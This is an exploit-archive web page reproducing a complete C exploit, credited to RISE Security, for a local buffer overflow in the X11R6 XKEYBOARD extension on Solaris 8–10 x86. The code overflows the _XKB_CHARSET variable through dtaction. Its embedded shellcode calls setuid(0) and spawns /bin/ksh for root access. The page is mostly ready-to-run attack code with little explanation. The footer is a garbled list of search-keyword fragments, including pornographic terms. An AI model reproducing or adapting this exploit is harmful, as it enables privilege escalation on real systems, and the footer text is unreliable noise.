about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/x86)




2006-09-08 X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/x86)
Rated as : Critical

/*
 *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
 *  Copyright 2006 RISE Security <contact@risesecurity.org>,
/*
 *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
 *  Copyright 2006 RISE Security <contact@risesecurity.org>,
 *  Ramon de Carvalho Valle <ramon@risesecurity.org>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 
02110-1301  USA
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ADRSIZE 1024
#define NOPSIZE 4096

char shellcode[]=           /*  47 bytes                          */
    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff             
 */
    "\x6a\x65"              /*  pushl   $0x65                   
 */
    "\x89\xe6"              /*  movl    %esp,%esi               
 */
    "\xf7\x56\x04"          /*  notl    0x04(%esi)              
 */
    "\xf6\x16"              /*  notb    (%esi)                  
 */
    "\x31\xc0"              /*  xorl    %eax,%eax               
 */
    "\x50"                  /*  pushl   %eax                    
 */
    "\xb0\x17"              /*  movb    $0x17,%al               
 */
    "\xff\xd6"              /*  call    *%esi                   
 */
    "\x31\xc0"              /*  xorl    %eax,%eax               
 */
    "\x50"                  /*  pushl   %eax                    
 */
    "\x68\x2f\x6b\x73\x68"  /*  pushl   $0x68736b2f             
 */
    "\x68\x2f\x62\x69\x6e"  /*  pushl   $0x6e69622f             
 */
    "\x89\xe3"              /*  movl    %esp,%ebx               
 */
    "\x50"                  /*  pushl   %eax                    
 */
    "\x53"                  /*  pushl   %ebx                    
 */
    "\x89\xe1"              /*  movl    %esp,%ecx               
 */
    "\x50"                  /*  pushl   %eax                    
 */
    "\x51"                  /*  pushl   %ecx                    
 */
    "\x53"                  /*  pushl   %ebx                    
 */
    "\xb0\x3b"              /*  movb    $0x3b,%al               
 */
    "\xff\xd6"              /*  call    *%esi                   
 */
;

int main(int argc,char **argv){
    char buf[8192],display[256],addr[4],*envp[4],*p;
    int i;

    printf("X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10
x86\n");
    printf("Copyright 2006 RISE Security
<contact@risesecurity.org>\n\n");

    if(argc!=2){
        fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
        exit(EXIT_FAILURE);
    }

    snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);

    *((unsigned int *)addr)=(unsigned int)buf+256+1024+2048+1;

    p=buf;
    sprintf(p,"_XKB_CHARSET=");
    p=buf+13;
    for(i=0;i<256;i++) *p++='A';
    for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
    for(i=0;i<NOPSIZE;i++) *p++='\x90';
    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
    *p='\0';

    envp[0]=buf;
    envp[1]=display;
    envp[2]=NULL;

    execle("/usr/dt/bin/dtaction","dtaction",0,envp);

    exit(EXIT_FAILURE);
}
securitydot.net - 2006-09-08

Advertising

Copyright 2007, SecurityDot
Wed, 02 Dec 2009 04:15:02 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.newsun www.sexnyl CMS is Fre pinkworldv vidiosexy. php-nuke 2 Www wap,ph www.tjndy. PRONS.COM MK PORTAL sexarab for Www.se www.iemeng gale 89.com fre WWW.Sexwor PHP Advanc www.myfist sexe+image americians Blue filem PHP Advanc IMGE cowayworld WWWSEX.COM www.pakist JAPANSEX gale www.sexmov Xxxx schuelervz www.502008 shop580855 WWW.bokeb www.yw2yua mambo Remo news for c allinurl: Prinka.Cho www.quanbe fusion sciurus arab.xxl.c ISC BIND T a1516in Www gaysex www.tjndy. Apache 2. www.fanliy www.bjbm.o